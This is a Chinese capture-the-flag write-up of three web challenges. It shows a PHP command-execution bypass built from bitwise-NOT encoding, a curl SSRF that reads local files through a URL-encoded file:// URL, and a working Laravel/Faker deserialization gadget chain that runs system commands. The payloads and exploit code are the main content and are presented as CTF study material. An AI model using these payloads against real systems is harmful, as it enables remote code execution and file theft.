“第五空间”智能安全大赛Web-wp
1.hate-php
源码
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
正则过滤了和flag有关的字母,blacklist过滤了所有内置函数和自定义函数。
需要用取反构造shell绕过正则。
取反如下:
<?php
echo urlencode(~"system");
echo "<br>";
echo urlencode(~"cat *");
?>
//%8C%86%8C%8B%9A%92<br>%9C%9E%8B%DF%D5
构造shell:
http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D5))
得到flag。
2.do you know
源码index.php
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什么都没有~');
}
if($a_key==$b_key)
{
die("trick");
}
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);
从源码知道,要输入两个参数,先过一下黑名单,然后用explode函数将两个参数分开,以及两个参数的键和值也分开。
if($a_key==$b_key)
{
die("trick");
}
上面的代码可知键名不能一样。
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
其次,如果两个值不相等,并且参数的个数不为1,die('be it so');参数的个数一定不等于1,所以要构造两个值相等来绕过。
foreach($_GET as $key=>$value)
{
$url=$value;
}
接着遍历我们的键名键值,然后将url赋值为我们传入的键值,可以用curl的file协议进行ssrf攻击,但是file在黑名单里,我们可以用url编码绕过。
构造shell:
http://121.36.64.91/?s1mple=file:///var/www/html/flag.php&simple=file:///var/www/html/flag.php
http://121.36.64.91/?s1mple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&simple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
得到flag。
3.laravel
下载附件代码审计,laravel框架有一些反序列化等问题。
代码审计,在app/Http/Controllers/TaskController.php中发现p参数可以实现反序列化,如下。
<?php
namespace App\Http\Controllers;
class TaskController
{
public function index(){
if(isset($_GET[‘p‘])){
unserialize($_GET[‘p‘]);
}
return "There is an param names p (get)";
}
}
?>
然后寻找析构函数、构造函数以及call魔法函数,在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中发现了析构函数__destruct()和构造函数__construct(),并且parent参数可控,如下。
public function __construct(RouteCollection $parent, RouteCollection $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
析构函数调用了addCollection方法,全局搜索addCollection方法,发现没什么用,所以想到调用对象中不存在的方法从而调用call方法,因此全局搜索call方法;
这里引用 vendor/fzaninotto/faker/src/Faker/Generator.php 下的call方法,因为我们可以追溯Generator.php 的代码,发现format可以调用一个回调函数getFormatter;
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter函数;
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf(‘Unknown formatter "%s"‘, $formatter));
}
这里我们可以看到getFormatter的返回值也是可控的,我们如果想要调用回调函数,就需要访问一个对象中没有的属性去触发call方法,然后进入format方法,format方法中定义了回调的函数,深入getformatter方法,这里让其返回值$this->formatters为一个数组,键值为system;然后键名就为addCollection,这里$formatter追溯一下就是$method;然而由于call的特性,导致我们触发call的时候call的$method默认就是addCollection,所以这里就可以直接调用了system方法.
至于参数,因为当初调用了call方法,由于call方法的特性,这里参数默认为$this->route即$attributes;所以对于参数而言,我们只需要输入我们的命令即可。开始构造exp;
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
public $parent; //这php版本为7.1之上的,对于属性类型并不敏感,所以为了方便直接public;
public $route;
public function __construct($parent,$route)
{
$this->parent = $parent;
$this->route = $route;
}
}
}
namespace Faker{ //进入Generator.php中做文章
class Generator{
public $providers = array(); //截取原来的部分代码,出题人早已经计划好了,已经定义了数组类型;
public $formatters = array();
public function __construct(){
$this->formatters = array("addCollection"=>"system"); //赋值为此以为最后需要通过析构函数addCollection这个来指向键值调用system;所以直接让addCollection为键名;
}
}
}
namespace{
$s1mple = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator(),"cat /flag");//利用构造函数赋值;
echo serialize($s1mple);
}
得到flag。
参考连接:
https://www.cnblogs.com/clqnotes/p/5spacectf-web-writeup.html
https://www.cnblogs.com/yesec/p/12450269.html
http://www.mamicode.com/info-detail-3045728.html、
2020-7-23 第一周

浙公网安备 33010602011771号